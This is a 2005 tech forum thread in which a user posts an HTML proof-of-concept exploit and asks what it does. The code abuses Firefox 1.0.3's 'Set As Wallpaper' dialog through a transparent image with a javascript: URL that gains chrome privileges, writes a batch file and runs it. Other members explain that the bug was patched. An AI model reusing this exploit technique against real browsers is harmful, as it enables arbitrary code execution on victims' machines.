Forum     

Go Back   Digit Technology Discussion Forum > Portables, Peripherals and Electronics > QnA (read only)
Register FAQ Calendar Mark Forums Read

QnA (read only) Mods please help transfer the contents of this forum to proper sections. :)


 
 
LinkBack Thread Tools Search this Thread Display Modes
Old 25-08-2005, 07:39 PM   #1 (permalink)
aa
Right Off the Assembly Line
 
Join Date: Aug 2005
Posts: 1
Default plz Interpret this...


Dunno where i found but too complex for me to interpret...
Dunno wat it does too....
Code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Firewalling - Proof-of-Concept</title>
<script>
function stopload() {
// in some cases the javascript url never stops to load
// therefore we force a stop after the real image got loaded
window.setTimeout("window.stop()",1000);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">

<div style="font-family:Verdana;font-size:15px;font-weight:bold;">
Firewalling - Proof-of-Concept</div>
<div style="width:600px">
The "Set As Wallpaper" dialog takes the image url as a parameter without validating it.
This allows to execute javascript in chrome and to run arbitrary code.



By using absolute positioning and the moz-opacity filter an attacker can easily fool the
user to think he is setting a valid image as wallpaper.



Right click on the image and choose "Set As Wallpaper". The demo requests
UniversalXPConnect rights, creates c:\booom.bat and launches the batch file
that shows a directoy listing in a dos box (Windows only).




<div style="position:relative; width:300px; height:250px;">
<img src="javascript:/*-----------------------------*/eval('if(document.location.href.
substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\
booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE
\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch
();}else{void(0)}')" width="300" height="250" alt="" border="0" style="position:
absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
[img]image.png[/img]
</div>
</div>
</body>

</html>
aa is offline  
Advertisements. Register and be a member of the community to get rid of them.
Advertisement

Old 25-08-2005, 08:45 PM   #2 (permalink)
Human Spambot
 
expertno.1's Avatar
 
Join Date: May 2005
Location: Expert Planet
Posts: 2,480
Default

what shoudl i interprate

is it made by you

do i correct it or explian it ?
__________________
Off From Digit Forum for some months.....busy
expertno.1 is offline  
Old 25-08-2005, 10:59 PM   #3 (permalink)
I am Optimus Prime
 
navjotjsingh's Avatar
 
Join Date: Feb 2005
Location: Delhi, India
Posts: 1,919
Default

This code demonstrates a bug in Firefox 1.0.3 which has been fixed as we could not use the option Set as Wallpaper in 1.0.6 and nor in IE 6 Sp1. In Firefox 1.0.3 we could right click and use option Set as wallpaper and this way a malicious javascript code hidden in img src tag could be used to attack our PCs. Here a small example has been show where directory listing of C:\ is shown and it is an example to show that to what extent an attacker can go.
navjotjsingh is offline  
Old 26-08-2005, 11:42 AM   #4 (permalink)
Commander in Chief
 
QwertyManiac's Avatar
 
Join Date: Jul 2005
Posts: 6,658
Default

@nj - how'd u know that ?
i spent 3 hrs tryin to decode...
no leads yet...
so is this script malicious.... ?
then y is it on this forum ?
__________________
Harsh J
www.harshj.com
QwertyManiac is offline  
Old 26-08-2005, 03:45 PM   #5 (permalink)
I am Optimus Prime
 
navjotjsingh's Avatar
 
Join Date: Feb 2005
Location: Delhi, India
Posts: 1,919
Default

Instead of decoding the script I reserached on Google for it and found that this script is malicious but not now anymore on Firefox 1.0.6 or IE6 SP1.

ALso this script was asked to decode by the author of the thread and that's why it is on this forum. Maybe he does not know what this script can do.
navjotjsingh is offline  
Old 26-08-2005, 03:48 PM   #6 (permalink)
Commander in Chief
 
QwertyManiac's Avatar
 
Join Date: Jul 2005
Posts: 6,658
Default

yeah right, but maybe there r old browser users now,...
this script can be exploited on them right ?
what do the mods say ?
__________________
Harsh J
www.harshj.com
QwertyManiac is offline  
Old 26-08-2005, 04:19 PM   #7 (permalink)
Human Spambot
 
expertno.1's Avatar
 
Join Date: May 2005
Location: Expert Planet
Posts: 2,480
Default

i also need the answer
__________________
Off From Digit Forum for some months.....busy
expertno.1 is offline  
Old 26-08-2005, 04:34 PM   #8 (permalink)
I am Optimus Prime
 
navjotjsingh's Avatar
 
Join Date: Feb 2005
Location: Delhi, India
Posts: 1,919
Default

Can't tell on what browsers this script can be exploited. I only know about Firefox 1.0.3.

It does not work on IE 6 SP1 though. You can yourself check on different browsers and their versions though. The browser on which this will work will show Set as Wallpaper or Set as Background option and if this script does not work then that option will be disabled.
navjotjsingh is offline  
 

Bookmarks

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


 
Latest Threads
- by Charan
- by abhidev
- by Sujeet
- by Sarath
- by Krow

Advertisement




All times are GMT +5.5. The time now is 08:50 AM.


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2012, vBulletin Solutions, Inc.

Search Engine Optimization by vBSEO 3.3.2